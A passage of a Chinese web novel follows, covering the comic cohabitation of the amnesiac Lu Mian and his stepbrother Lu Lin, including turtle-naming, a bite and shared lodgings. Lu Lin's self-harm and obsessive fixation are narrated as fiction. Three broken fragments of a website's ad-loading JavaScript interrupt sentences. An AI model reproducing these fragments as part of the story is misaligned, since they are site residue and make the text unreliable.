陆眠半趴在小桌上,身前的衣襟透出深色,整个人犹如刚从水里打捞出来的般,发丝濡湿,粘在雪白的面庞上。乌黑的眸子此刻雾蒙蒙一片,沁着水色望过来,显出十分脆弱。 陆凛一顿,很快上前去扶起人,“哪里难受?” 本来就怕疼的陆眠早就丧失了思考的能力,张开口就‘呜’了声。声音听起来委屈极了,水汪汪的眼底朝人望来时仿似埋怨对方为什么才来,陆凛喉头动了下,“抱歉。” 陆眠快痛死了,“不抱歉,痛!” 他要看医生! - 因为小公子身体突发不适,整个陆府这一夜灯火通明。 陶柔绚第一时间就赶了过来,大夫也很快赶到,倒没有诊出什么疑难杂症,只是今日的吃食太补,陆眠的身体虚弱受不住。 “怎会?”陶柔绚一怔,“眠眠身体向来好。”跟个小牛犊子似的,从小身体就没出过什么大毛病。 老大夫捋着胡须,“可老夫从脉象看,小公子身体亏损严重……” “会不会是之前磕碰到头?”陶柔绚急急追问。 老大夫一顿,谁都知道太常寺少卿陆大人现在的夫人是当今皇后娘娘的同胞姊妹,这陆小公子的身份同样不简单。为了明哲保身,老大夫眼神几经变化,遂顺着她的话点头,“对,应该是…应该是这样。” 陶柔绚:“那便有劳大夫开药。” 看着儿子喝完药,陶柔绚坐在床边守了许久,陆宏志亦守在一旁,“夫人,夜深了,先回去休息吧。” 说着他看了眼站在不远处的陆凛,“这里交给凛儿就好。” 陶柔绚顿了顿,“那就辛苦凛儿了。” 陆凛摇摇头,站在屏风后目送两人离开。他视线落在陆宏志身上,眼底神色幽暗,宛若凝聚着风暴,随时会将接近之人卷入,并搅碎。 这时,含着哭腔的嗓音悠悠传来,“呜呜,我是不是要死了。” 陆眠缩在被子里呜呜哭泣。 陆凛眼中晦暗的情绪骤然尽去,他转头。 陆眠朝人伸出手。 陆凛停顿了下,走上前。 陆眠抓着他的手,“我死后,一切从简,遗产全都由你继承……” 陆凛眸光微闪,一瞬动容。 紧接着,就听陆眠继续:“我这东海龙王之位,就交给你了。已传位,莫辜负。” 10. 五龟龟 陆凛抽回手,面无表情地回了另一边的小榻,躺了下去。 不再管对方死活。 陆眠:OvO。 喝完药,肚子不疼了,稍微恢复了些许思考能力的陆眠蓦地想到什么。 陆凛是不是…… 没洗手。 洁癖严重的反派碰了他居然没擦手! 陆眠恍恍惚惚,他果然是疼迷糊了吧。 想罢,陆眠眼睛一闭:zzzZZZ。 他睡得很快,另一侧,陆凛闭目,却久久无法入睡。轻浅的呼吸声萦绕耳畔,脑子里是少年抽泣着发出的哭腔,被水汽氤氲的眸子委屈又无助的模样。 先前那样嚣张跋扈的人,一朝失忆,可怜……可爱。 陆凛倏地睁眼,黑暗中,他面色沉得骇人。 尖锐的疼痛从指缝中传来,丝丝渗血,陆凛尤觉得不够,眸底晦涩,面庞在夜色掩盖下有些扭曲。 他是疯了,才会有这样的想法。 脑海里被各种各样的血腥想法交织,陆凛呵着气,发出近乎低吼的声音。他抬手,死死扣住了自己的脸。 倘若此时有人能够看见他的表情,必然会被这副扭曲到近乎疯狂的神色骇住。 这时,隔壁床榻间传出一声:“v我50看看实力!封你做东海神龟!” 陆凛一滞,疯狂尽数敛去,他微微侧身往旁边看了眼,旋即缓慢合上眸子,一夜好眠。 陆眠第二天起来就满血复活了,醒来陆凛照例已经去了书院。阿青阿平伺候他洗漱完没多久,陶柔绚便来看他,确定他身体恢复过来后方才离开。 待她一走,阿平就有些欲言又止,嘴巴张了又合。 阿青注意到了,陆眠亦察觉他似是有话要说,正不知道怎么开口,便听阿青道:“夫人不告诉公子今日伍公子递了拜帖,定是知晓了上次公子受伤的原因,既然夫人不说,你也莫要再提。” “阿青……”阿平表情更加难言,他道:“你方才说什么?”让他不要再提,结果却在公子面前直接说了出来。 阿青猛地滞住,去看陆眠,但见后者表情飘忽地盯着跟前的空气,仿佛什么也没听到,他才缓缓松了口气,“没事,公子现今听不懂。” 听懂了的陆眠:→v→。 到底谁才是小傻子? 思忖片刻,他还是很好心的没有戳穿。我可真善,陆眠美滋滋地想。 不过伍兴文怎么现在才来找他。 应该说,来找他做什么? 想到上回要不是伍兴文横叉一脚,陆凛也不会挨鞭子被罚跪祠堂,他亦不会为了捞人,把自己搭进去,现在不得不和陆凛睡一间屋子。 结果这人现在才找来,陆眠便忍不住生了一小会气,真的想去见见对方了。但奈何陶柔绚有心不让伍兴文见他,陆眠也无法。 陆眠没办法,不代表伍兴文没有,他虽别的本事没有,招猫遛狗的本事却是一顶一。 - 刚用罢午膳,陆眠躺在院中的小亭子里消食,正在因古代这没有手机电脑的日子感到无聊。他仰着脑袋靠在长椅上,头探出亭外,眼中忽然划过一抹灰色的小影子。 陆眠眼前霎时一亮,“鸽鸽!” 不多时,一只灰色的大肥乳鸽被陆眠揪在手里逗弄:“嘬嘬嘬——” “这鸽子……”阿平反应了下,阿青上前将鸽子腿上的东西取下。 阿平凑过去,“城北寻乐楼见。” 他话才刚说完,阿青便连忙开口:“噓!公子还在呢!”两人一见这鸽子就知道是谁送来的,毕竟他们时常跟在公子左右,对伍兴文亦很是熟悉,这是对方养在后院的信鸽。 阿平非常坦然,“你不是说公子现在不懂?” 两人说着,齐齐转头望去。 陆眠:^v^。 “寻乐楼!”陆眠一下蹦起来,呲溜便往院外跑。 阿青阿平愣了愣,反应慢半拍地追上去拦人,“公子!” 陆眠哪里知道什么寻乐楼在哪,只是根据书里零星几句忆起,寻乐楼是小炮灰和大炮灰经常去的地方,两人时常在那里商量要如何整治陆凛。 没有陶柔绚的吩咐,阿青阿平自然不敢带着人出府,陆眠溜溜哒哒就去了正院,看到陶柔绚便一个劲地说‘寻乐楼’。 阿青阿平把头埋低,身后冒出冷汗,也不敢提及信鸽一事,生怕惹祸上身。 “寻乐楼?”陶柔绚温声开口,“眠眠想去寻乐楼?” 陆眠附和:“寻乐楼!” 陶柔绚颔首,指点了几名护卫,末了看向阿青阿平,“你们可看仔细了公子。” 两人闻言扑通跪了下去,一口气将信鸽的事说了,说罢等着夫人问责。 陆眠感觉天都塌了,怎么说出来了,那他怎么出去。 然而,陶柔绚却是没再阻拦,只是让护卫们紧紧跟随左右,旋即亲自送陆眠出府。 伍兴文在寻乐楼等了半天,终于见到陆府的马车,连忙下楼迅速往车厢内钻去,“陆兄!可见到你了,上回害你受伤,我这几日被我父亲禁足……” 陆眠看到他就开始拳头痒痒,但他当了回君子,动口不动手:“孽子!” 伍兴文话音一止:“?”你是我爹? 然后他就觉得有些耳熟了。 这不是上回陆老爷骂陆凛的话吗。 阿青阿平连忙解释陆眠的情况。 上回伍兴文便觉得了,没想到是真的失智了,瞬间快哭出声,“怎会如此,陆兄,是我害了你啊!” 陆眠见他声泪俱下地忏悔起来,气顿时就消了,拍拍对方狗头。 “陆兄,去我府上坐坐?”伍兴文原本想着同人好好玩玩,得知陆眠的状况,也不敢再胡来。 还没去过伍府的陆眠没拒绝,马车很快转道朝着伍府行去。 伍兴文的父亲是户部侍郎,伍府比起陆府来差不离。 但伍兴文的院子却是比不上陆眠的宇临阁奢华,不过也别有一番风味。 伍兴文院中养了不少鸟兽虫鱼,特意开辟了一块池子。陆眠绕过假山,晃晃悠悠过去,看到了趴在石板上的四只乌龟。 “名字?”陆眠问。 “问我它们的名字吗?”伍兴文摸摸脑袋,“这倒是还没取。” 陆眠眼神闪亮亮地看他。 伍兴文当即会意,“不若陆兄帮忙取一个?”他也想知道,自己这兄弟傻成了什么样?不过都还能给他的龟取名,想来应该不那么…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然而伍兴文还未想完,耳边就传来了少年的清越嗓音。 “这个叫四龟,这个叫三龟,这个叫二龟,这个……” 伍兴文神色一滞,颇有些无语凝噎,但在陆眠停顿的间隙,还是忍不住顺着他的话说:“一龟?” 陆眠看了看他,摇头,接下后半句话,“叫大郎。” 伍兴文‘啊’了一声,继而爽朗笑道:“好!陆兄果然文采斐然!这名字颇有意趣,我替四龟、三龟、二龟……呃,大郎多谢陆兄!” 陆眠用一副看傻子的表情望着他,可意外的,他不讨厌这个伍兴文,毕竟也算自己来到这个陌生世界第一眼看见的人之一。 伍兴文带他在院子里四下扫了一圈,陆眠一刻也没闲着,待将这院子尽数看过一遍,伍兴文体贴问:“陆兄可有什么想玩的?” 他与陆眠向来臭味相投,如今兄弟痴傻了,可伍兴文的态度丝毫不变,只是觉得傻了的好兄弟瞧着倒也十分有趣。 不知他想玩投壶还是斗蟋蟀,亦或者玩骰子跳大马。 陆眠震声:“躲猫猫!” 伍兴文思绪猛一收,以为自己听错了,“什么?” 他倏地觉得,倒也不是那么有趣了,要玩得这么幼稚吗…… 不过陆眠既想玩,伍兴文便召集了几人,陪他躲起了猫猫。 伍府建地不小,加之亭台楼阁,躲藏的地方很多,在这里玩起躲猫猫便格外有意思。 不过玩了几回下来,陆眠觉得还是得把范围缩小些,否则找起来太耗费时间,有点没劲。 最终游戏的地点被限制在伍兴文的小院中。 这回玩起来倒是十分有意思,时间便不知不觉流逝。 陆凛即是此时登门。 - 今日从书院回来,陆凛并未见到陆眠。及至陶柔绚让人去伍府寻人,从前来通秉的下人那得知儿子在伍府玩得高兴,担心后者不肯回来,遂找到陆凛,让他跟着跑一趟。 陆凛走入伍府,在下人们的带领下来到伍兴文的院子。 小院中静悄悄,管家讪笑,“两位公子应是在做游戏,陆大公子可要小人前去知会一声?” “不必。”陆凛自发往院中走去。 院子里十分安静,陆凛左右环顾一圈,没有看到人,院中连伺候的小厮也无。 静立片刻,他耳尖动了下,熟悉的呼吸声微弱,陆凛侧首往某个方向望去,嶙峋山石后显露出一截衣角,这一幕似曾相识。 在玩什么? 藏头不藏尾…… 陆凛走近。 陆眠听到脚步声,有点紧张。 怎么回事,怎么又是他被抓住! 陆眠拧起眉头,准备等会伍兴文露面就吓吓对方,为什么总是抓他。然而他刚一转头,就对上了一张意料之外的俊逸面庞。 陆眠:o.O。 “陆眠。”陆凛喊他,声音冷冰冰,没什么起伏,“出来。” 陆眠下意识:“我不是陆眠!” 陆凛淡淡看他。 陆眠往后面的大石块边上靠了靠,接着一趴,非常认真地说:“我是五龟!” 刚从屋子里找完一圈出来的伍兴文脚步刹住,“嗯?” 11.咬一口 陆凛垂目。 陆眠仰着脸,和他对视。 “同我回去。”话落,陆凛便将人揪了起来。 陆眠老实巴交地被他拎着,是一只沉默被禁锢的五龟。 伍兴文从听到陆眠说自己是五龟的震惊中回过神,瞥见陆凛的动作,瞳孔骤缩,“住手!你们住手!” “你在做什么?”伍兴文怒气冲冲地上前,瞪视陆凛,这人凭什么这么抓着陆眠,连他都没有这么抓过,“放开他!我来!” 陆眠探了探脑袋,这个人在说什么话?有点像是在哪里听过。 陆凛向伍兴文睇去一眼,拉着陆眠的手就要离开。 “站住!”伍兴文气急,“你要带他去哪?” 跟随而来的陆府侍从道:“伍公子,我家夫人让大公子来带小公子回去的。” 伍兴文诧异,竟是陆夫人的命令,他又看了看被陆凛老实抓着的陆眠,“陆兄?你要跟他走?”他也不是不能亲自送陆兄回府啊。 陆眠手指刚动了动,还未回答,接着便被攥紧了些,他去看陆凛:OoO! “看什么?”陆凛低语一句。 陆眠晃了晃指尖,陆凛抓着他的那只手也跟着他的动作小幅度地摆动。 陆凛低眼,眸光落在他脸上。 陆眠眼中全是震惊。 牵、牵手了! 陆眠瞳孔地震。 变、变态! 果然是变态吧! 陆眠一下把手缩回。 微凉的指尖脱离掌心,残留的那丝温度很快散去,陆凛蜷了蜷指节,敛去眸底神色。 伍兴文见陆眠从他掌中挣脱,瞬间站到两人中间,“我稍后便送陆兄回去,你走吧。” 陆凛撩起眼皮,视线径直越过他凝在陆眠身上。 陆眠心跳蓦地漏了一拍,然而陆凛什么都没说,抬脚就走出了院子。 “算他还有点自知之明,”伍兴文哼了声而后去看陆眠,清了清嗓子,试图和陆眠拉近距离,“那个……五龟,我送你回府。” 陆眠低头,还在想陆凛怎么突然离开,可能是回去擦手了吧,这么说是他错怪对方了,其实陆凛也不是那么想跟他接触。 思及此,陆眠朝伍兴文挥挥,“回去了!白白!” “白……白?”伍兴文还未回神,便看他已跑远了,“嗯、啊?陆兄!我送你!” 说完,陆眠已跑出院子不见了人影。 - 马车停在伍府的府门前,陆凛独自一人出来,陶柔绚派来的几名侍从面面相觑,“大公子……您一个人?” 近来夫人对大公子的态度变好,连带着他们这些做下人的也都毕恭毕敬起来,此刻开口也只是试探性的询问。 陆凛身侧的手微动,掌心空荡荡,似有什么东西没能握住。他正待开口,就听身后响起动静,熟悉的脚步声由远及近。 “公子,公子!您慢些!” 陆凛转头,只见陆眠脚下飞快从府内窜出,朝他奔来,犹如一道暖阳,破开冰冷的夜色,映入陆凛眼底。两人视线相撞,相顾无言间,陆眠冲他弯唇而笑,颊侧酒窝浮现。 陆凛心下一悸,少年在耳旁欢快道:“回家回家!” 少顷,他点头,“嗯。”应罢抬脚就走,这次没再伸手拉人。 陆眠捏捏爪子,果然是他太过应激了。 两人一道上了马车回陆府,陆眠习惯性往窗边一摊,眼神往一侧闭目养神的陆凛身上瞟。这人一言不发的,难不成是因为被他甩开手所以生气了? 但他都被嫌弃了,不也没生气。 小气鬼…… 陆眠在心里嘟囔,他刚在心里吐槽了一句,陆凛便倏然睁开眼朝他看来。陆眠立刻将头扭开,意识到自己根本没必要心虚,他连忙转回来朝人呲了呲牙。 陆凛眸色深深看他,陆眠被这眼神盯得莫名,仿若回到了穿过来的第一日,对方也是用这样的目光朝他望来,似……要吃了他一样。 那种头皮连带着脊背发麻的感觉顷刻袭来。 “看、看什么看!” 少年说话时眸子微微睁大,一副明明有些忐忑却要强自镇定的模样,陆凛唇角稍动,继而扬了下眉,“不能看?” 陆眠果断:“不能!” 陆凛:“可眼睛长在我身上,我想看。” 陆眠眼睛睁得更大了,没想到反派大浓眉大眼的,居然开傻子玩笑,“不许想!不能想!想也不行,想也有罪!” 陆凛细细扫过他的面庞,眼底似有探究。陆眠直觉不对,他蓦地往后一仰,转头去看半开的窗外,发出‘哇’的一声,“那棵树长得可真树啊!” 马车正好路过一护小院,院中一棵参天巨树在灯光映照下落入视野。陆眠一边看树,一边感觉到凝在身上的视线又停留了几息后挪开。 他大大松了口气,差点就以为陆凛发现什么了。 另一侧,陆凛摩挲指节,及至回府都不曾停下,指尖被磨得通红。 似要滴血般。 陆眠在车上睡着了,最后是陶柔绚来叫醒的他,陆凛早已不见踪影。 “玩了一天,累坏了吧。”陶柔绚好笑地摸摸他的头,“回去用膳。” 陆眠揉了下腹部,确实又累又饿,他点头道:“吃饭!” 儿子瞧着越来越正常了,陶柔绚看着陆眠唇角染笑。须臾,像是想到了什么,她笑意一收。 “明日,你伯母说要命人接你去将军府。”老太君寿宴将至,想着接孙儿回去住几日。这本无可厚非,但儿子现在的状态,陶柔绚免不得忧心。 陆眠眨眨眼,是要去他的坐骑那里。 上回都没有好好告别,这次他可以再试图让对方带带自己,会飞诶! 陆眠兀自想着,笑容不知不觉冒出头,陶柔绚见他有些开心的模样,终是放松了面色,“既然眠眠想去,那便去吧,只切记玩闹时莫要再弄伤自己。” 陆眠点头:“包的!” 他那么怕疼,怎么可能弄伤自己。 陶柔绚顿了下,揉他脑袋的手转而在他肩膀上轻点,“好了,走吧。” 她陪着陆眠走了一段才命柳絮跟随他回到宇临阁。 - 宇临阁中膳食已经备好,陆眠看到满桌子都是他爱吃的菜,吸溜吸溜口水就滑过去了,正对上陆凛朝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他投来的目光。 陆眠脑子里蓦然荡出那句‘我想看’,先前的怀疑感眼下并没有出现,于是他非常不客气地瞪了瞪对方。 陆凛扯了扯嘴角。 为什么突然笑得狗狗的,陆眠眼神闪烁了下,深吸口气,走过去坐好。 用膳时下人们全都守在门外,陆凛倏地开口:“明日要去将军府?” 吃到一半听到这话的陆眠含糊着应了声,观陶柔绚不放心的样子,应该是会让陆凛跟他一起去的,对方可能是为了确定。 陆凛只问了这一句,便没再出声,陆眠便更加确定了心里的猜测。 及至第二日出府,陆眠都没有看到陆凛的身影,他左右四顾,对着上车的阿青阿平道:“陆凛。” 阿青道:“公子你忘了,月前大公子通过了会试,这几日正在准备殿试的事。”他不禁唏嘘,一旦这殿试过了,入了陛下的眼,大公子可就鱼跃龙门了。 陆眠‘唔’了声。 他记得,书里这段是没有的。 因为原主,陆凛错过了殿试的机会。对此原主非旦没有受到责罚,事后反而走到陆凛面前幸灾乐祸,让人好一顿难堪。 既然陆凛要去殿试,那就希望这次对方能够一切顺利吧。 想罢,陆眠老实地坐在车里,被带到了将军府,老太君拉着他嘘寒问暖,褚夫人亦笑容满面! 陆眠转了一圈,没看到他的坐骑,直到天色渐晚,褚柏栩方才风风火火地从外面跑进来。 连同他本以为要有几天见不到的陆凛也一块出现了。 陆眠:0.0。 “母亲怎么不提前说、”褚柏栩一进门就皱眉去看褚夫人,话到一半却又止住。 褚夫人含笑看他,“提前说什么?” 褚柏栩没回话,视线转向陆眠,却见正好跟他在府门碰上的陆凛已经走了过去。 在将军府乱窜了一天,陆眠头上的发髻略有些凌乱,陆凛抬了抬手,将他耳侧的一绺发丝捋顺。两人站在一起,一副兄友弟恭的模样,看得褚柏栩牙酸。 然而下一刻,褚柏栩瞠目结舌。 就见陆眠本来正乖乖任由陆凛给他整理发丝,后者刚要收手,便被陆眠一把抓住,紧接着是‘啊呜’的一声。 陆眠:*O*! 他一口咬在了陆凛手上。 不知道为什么,从昨天开始,陆眠总觉得对方怪怪的,于是他决定抓住机会,咬他一口,恶心一下。 陆眠没有多少力气,缩回脑袋看了看陆凛的手背,一圈牙印盖在上面。 恶心坏了吧。 陆眠:>.o。 他抿着嘴,偷眼打量着陆凛。 陆凛神色如常,低眼看了看手背上的印记,眸底闪过丝暗色,一闪即逝。 “咬高兴了?”他语气轻淡,垂目凝视跟前的人。 陆眠睫羽颤了颤,高兴倒也没有,只是期待好像落空了。 不仅落空。 陆眠视线一瞬不瞬,看见陆凛唇角勾起了一点弧度,喉结轻滚,说出来的话让他如遭雷击,“要不要…再咬一口?” 糟糕! 把人给咬爽了! 12.不让抱 听到陆凛的话,陆眠当即把手往嘴巴上一捂:O×O! 绝对不奖励对方! 陆凛似是笑了下,眼底划过淡淡遗憾将手收回去。 “咬什么咬。”褚柏栩拧着眉毛,抬脚就准备上前插.入两人,忽听身边传来声笑。他转头,褚夫人看着他,笑得意味深长。 褚柏栩忽地有种被看穿心思的感觉,不动了。 褚夫人好笑地将眼神转向陆凛,“我都听弟妹说了,房间就不用准备了吧。” 几人之中,唯有褚柏栩不明所以,他纳闷:“什么不用准备?” 褚夫人笑笑瞥他,什么也没说。 褚柏栩心中直觉自家母亲有事瞒着。 陆凛颔首:“多谢褚夫人,这几日叨扰了。” 陆眠猛一顿。 是他想的那个意思吗? 平日在陆府,陆凛都是和他宿在同一个屋子的,褚夫人这话难道是意味着这几日在将军府他们也要睡一起? 他刚刚才咬了人一口,此刻难免有些尴尬。 想着,陆眠悄悄朝陆凛觑去,后者微一侧目,他立马把视线挪了回来。 算了算了,也无所谓。左右不是第一次和对方住在同一件屋子,就当是室友了。 可直到众人一道用罢晚膳,陆眠和陆凛一起去到褚夫人命下人准备好的厢房时,看见整个房间只有一张大床的他惊呆了。 “有什么缺的,尽可以吩咐下人。”褚夫人对着陆凛道,转眼去看一旁,“眠眠,去瞧瞧喜不喜欢伯母给你布置的床榻。” 陆眠坐在木椅上,一只手搭在右边鼻梁,感觉自己已经被椅子锁死。 不要啊。 他不要和陆凛睡在一张床上啊! “这怎么可以!”用完膳的褚柏栩也跟了过来,这才知道先前褚夫人的话是什么意思。 话音一落,陆眠的目光刷地落向了褚柏栩,心里大喊:就是就是! 褚柏栩:“府里这么多空房,何须睡在一起?” 终于憋不住了,褚夫人心里暗笑,面上仍是平静解释:“眠眠受伤后只识得凛儿……我能这么叫你吗?你小婶婶便一直安排两人住一块。” 褚柏栩一噎,没想到还有这一层,顿时没声了。他还想着稍后留下来同陆眠说说话,上次见对方还挺有意思的,但有陆凛在怕是不好逗人,于是只得跟着褚夫人离开。 “现在不讨厌了?”待走出厢房后,褚夫人揶揄了自家儿子一句。 褚柏栩撇撇嘴,没说话。 褚夫人到底还保有一颗慈母心肠,拍拍他,继续:“这几日眠眠都住在府上,你兄弟二人有的是相处机会。” 闻言,褚柏栩思忖一瞬,别别扭扭道:“我明日不去军营了。” 褚夫人了然地看看他,并‘哦’了一声,尾音拖得老长。 褚柏栩不自在地挠了挠鼻尖,大步走开去,远远的,身后响起一道毫不掩饰的大笑声。他登时耳根一热,脚下一点,飞身跃走。 倘若陆眠在这里,必然会眼睛放光地哇哇大叫,这就是他想见识的轻功! 然而陆眠此时还在同床做斗争。 他就要和反派大boss睡一张床了! - 床榻布置得柔软舒适,帷幔半遮半掩,拼命诱惑着玩闹一天身心疲惫的人,陆眠咽了咽唾沫。 想睡。 但…… 陆眠小心翼翼往旁边撇撇。 陆凛神色淡然,正在将带来的衣物整理妥当,察觉到从侧面传来的打量视线,他转过脸,“看什么?” 陆眠摇晃几下脑袋,理直气壮道:“没看!” 陆凛挑眉。 这个小骗子。 陆凛继续收拾行李,陆眠悄咪咪接着偷眼看他。结果刚望过去,陆凛便环着手臂,似笑非笑地注视而来,“还说没看?” 陆眠僵住:O.O! 他小心地偏回脑袋,想到什么又扭回来,“你不洗手?” 陆凛一顿,不解他怎么问这个,“为什么要洗手?” 陆眠瞳孔震颤,当场站了起来,“为什么不洗手!你告诉我为什么不洗手!到底为什么!”被他咬了,陆凛居然不嫌弃他,没去洗手! 陆凛没说话,见他一副气咻咻的样子,黑而发亮的眼眸中神采奕奕,烛火掩映下更显澄澈,“为什么要我洗手?” 陆眠瘪着嘴,快点嫌弃我啊! 真正的想法当然不能说出来,于是他只是碎碎念道:“洗手洗手洗手洗手。” 最后陆凛被他说得没脾气,让人打了盆水进来净手,陆眠看着他洗手,随即满意了。 这才对。 只不过待两人都简单洗漱过一番后,陆眠又对着房内唯一的一张床犯了难,半晌踟蹰不前。 陆凛何其敏锐,眸光掠过他带着纠结的小表情,忽而道:“不想同我睡?” 陆眠蓦地扭头,眸中的惊讶来不及藏。陆凛将之尽收入眼,深深看他。 两人四目相对间,陆眠心下没由来有些心虚,慢腾腾别开视线。他刚转过脸,视野里忽然出现一只手,骨节清晰分明,修长而有力。 顺着手腕向上看去,陆眠再次对上陆凛黑沉沉朝他压来的眼。 陆眠正疑惑着,耳畔传来青年清冽的嗓音,“给你咬。” 声线轻缓,似在哄人。 陆眠瞬间只觉头皮一紧,睁大眼睛道:“我不是小狗!” 话音一落,跟前的人似是有片刻哑然。继而便见陆凛又把手往前探了探,肯定他的话,“嗯,不是小狗。” 陆眠抿起嘴巴,坚决不奖励他。 陆凛:“不咬?” 陆眠嘴都没张,含糊从嘴巴里发出两个字:“唔咬!” 陆凛点头,“那睡觉。” 陆眠犹豫地看看床,再看看他,就见陆凛已然背过身去。见状,陆眠当即呲溜一下朝床榻边跑去,三两下便将衣服丢下往被子里钻,习惯性就想把自己卷成蚕蛹。 刚卷到一半,陆眠想到什么停了下来。 现在这个不是他一个人的床。 早在陆眠跑向榻边时,陆凛便已转了回来,看清了他的所有动作。因为卷到一半就停了,此时此刻陆眠还有一半暴露在外,像漏了馅的春卷,他茫然地对上陆凛专注望来的目光。 刹那间,陆眠脸色一个爆红,他很快镇定下来又在被子上拱了几下,抢在陆凛开口前震声道:“不许看我!我这是在找我的心灵之蛋!” 陆凛对他口中的那些让人摸不着头脑的话习以为常,只是抬了抬下巴,顺势再度把头转向另一边。 待人彻底睡平整,老实了,陆凛才往床榻走。 陆眠睡得很快,几乎是在躺下去的片刻之间便沉沉睡了过去,丝毫不知榻边人的凝望,眼神是如何深刻。 陆凛垂目,身侧的手微抬起,掌心悬在熟睡中人的面颊上方。从精致的眉眼缓缓下移,落在那张粉润的唇瓣,睡着时轻轻嘟起,看着格外柔软。 也只有当触上去才会知道,比之柔软更甚,像是……陆凛恍然回神,指尖已与那粉色肉.唇留有咫尺距离,他猛地收手,掌握成拳,指甲深嵌肉中。 这是在做什么? 疯了吗? 陆凛眸光暗了些许,抬步离开了床榻边。 - 夜半时分,陆眠在床上打了个滚,可能是突然又换了床的原因,睡得没有在陆府时安稳,睡到一半就醒了。 他想接着睡一时半会竟有点睡不着,索性睁开眼,房间内烛火昏暗。 陆眠咂巴两下嘴,喉咙里透着些干涩,他蹬了蹬腿,哄自己起床去倒水喝。 又在床上赖了几分钟,陆眠方才磨磨蹭蹭撑着手坐起来,起到一半他骤然惊觉不对。 陆凛呢? 陆眠左右看了看,又扒在床沿往床下瞄,以为自己睡觉不老实把人踢下去了,结果依旧没人。 “去哪了……”陆眠喃喃着下床,他走到外间倒水,刚看清外面的情形他就愣住了。 因是客房,里面的陈设并不如宇临阁那般,这里并无小憩的矮榻,眼下几张桌子被并拢到一处,上方静静躺了一个人。 陆眠呼吸都屏了屏,万万没想到陆凛会睡在这里,难怪他找不到人。 他走近几步,鼻尖隐约传来丝丝令人不舒服的腥气。陆眠皱皱眉毛,又靠过去了点,借着幽幽的烛光,他看到陆凛放在身侧的手。 掌心渗血,露出一片鲜红。 陆眠倏地怔住,看清血迹的刹那他就想到,陆凛又自残了。 上次他咬陆凛的时候,他便见到了对方包裹着一圈纱布的手掌,只不过没有太过在意。眼下陆凛再次在他不知道的时候对自己下这么重的手,血肉模糊一片,陆眠不知为何,有些难过。 两人也算是同居过的室友,陆眠有点见不得有人在自己眼皮子底下这么自虐。 他叹了口气,去阿青阿平给他整理的箱子里摸索了一阵,找到一管药膏才挪回桌边给陆凛一点点上药。 陆眠没有给人包扎,怕被发现。 待擦过一遍药,他慢慢移动到远离桌边的位置,又瞥了眼什么都没盖的陆凛。 这么睡,不会感冒吗。 陆眠在原地挣扎了好半天,把凳子上搭着的桌布捞起来,然后动作小心地给人盖上。 这样被发现了也没事,就当他半夜起来玩的时候不小心丢上去的。 做完这一切,陆眠背着手,翘着嘴角重新溜回了里间,刚躺回榻上,他又弹了起来,“啊……水还没喝。” 陆眠苦哈哈地再一次爬起来去喝水。 待他喝完水再躺下,这回没花多少时间就重新睡了过去。 与此同时,外间的长桌上,陆凛悄然睁开眼。 上了药的手心药味弥漫,似乎还残留着另一个人的痕迹。 他长久地盯着那处,少顷,遵从本心般将手盖在了脸上,深深嗅闻夹杂在苦涩药味中的那抹暖香,脸上神色近乎病态。 可惜无人得见。 里间的榻上,陆眠缩了缩身子,把自己团吧成了个球,睡得更深了。 - 翌日,陆眠还躺在床上呼呼大睡,忽然觉得脸上痒痒的,他伸手挠挠,鼻子又开始痒。 陆眠猛地打了一个喷嚏睁开了眼睛,正对上褚柏栩近在咫尺的笑脸。 “醒了?”褚柏栩说着,一株绿油油的小草在指尖晃了晃。 陆眠定睛一看,眼神从他手里的‘作案’工具移开,知道刚才是对方用这个在弄自己,顿时牙根痒痒。 “日上三竿了,”褚柏栩丢掉草,指挥道,“快起来。” 今天他连军营都没去,想着在家中好好逗弄一番他这个突然傻掉的弟弟,不承想在正厅等了许久都不见人。褚柏栩无奈又去练剑,结果半晌仍是没看到起床的陆眠,最后只得收了剑亲自来叫人,路过院子时叼了根草进门。 “我都等你半天了。”他边说边准备往后撤开。 陆眠却是一咬牙,脑袋猛地往前一撞,发出‘砰’的声响。 褚柏栩当即痛叫一声,“你发什么、” ‘疯’字还没出口,他就张着嘴愣住了。 撞人的陆眠这会直接疼得飙出了泪花,做出了一个自认为最凶的表情,恶声恶气道:“男人!这就是你敢招惹我的下场!” 倘若忽略掉他颊边坠落的晶亮水滴,着实算得上凶神恶煞,然而此时他眼中噙着包泪,那凶巴巴的表情就大打了折扣。 褚柏栩‘噗嗤’笑了下,陆眠立马瞪他。 “哈哈哈哈。”褚柏栩笑得愈发起劲。 正在这时,门口传来一句:“笑什么呢?” 褚柏栩笑声戛然而止,转头,便见褚夫人走了进来,“眠眠可起了?” 话音未落,褚夫人看清了陆眠正满脸泪痕的模样,霎时柳眉倒竖朝褚柏栩投去目光,“你小子又欺负眠眠了!?” 她一边说着,大步上前就揪住了后者的耳朵,再一拧。 “嗷嗷嗷!”褚夫人的手劲不小,褚柏栩俊朗的面容顷刻因疼痛而扭曲起来。 陆眠看得直抽抽,他一抽,褚夫人还当是他在抽泣,即刻拧得更狠。 褚柏栩大叫:“疼疼疼!” 瞧着他疼得快跳脚的样子,陆眠抽气的声音更大了。 对方现在一定比他还疼。 陆眠举起手对着掌心呼呼了两下,而后‘啪’地轻轻拍在了脑门上。 不痛不痛。 正疼着的褚柏栩看见这一幕差点又笑出声,他倒也没想着开口让陆眠为他求情澄清。幼时褚柏栩也曾与陆眠起过争执,每每大人们都会将谴责的眼神对准他,而陆眠只会冷眼旁观,并向他投来幸灾乐祸的目光。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 虽说如今的陆眠同以前不一样了,但褚柏栩早已习惯。更别提这家伙似乎还有些痴傻,即便他想让对方帮他说明也无法。 褚柏栩放弃抵抗,准备等着褚夫人消气后松手。 “饿了。” 陆眠突然发出声音,打断了褚夫人的动作。 “眠眠饿了?”褚夫人转头,“赶紧洗漱一番,伯母这就让人传膳。” 褚府乃武将之家,并没有那么多规矩,褚夫人与老太君早就用过了早膳,知道像陆眠这样年纪的少年最是贪睡,也没有让人前来打扰。 然就在不久前,下人过来告知她,褚柏栩来了陆眠房中,褚夫人这才跟了来,正巧撞见刚才那一幕。 陆眠点点头,想了下,指着褚柏栩,“我打他了。” 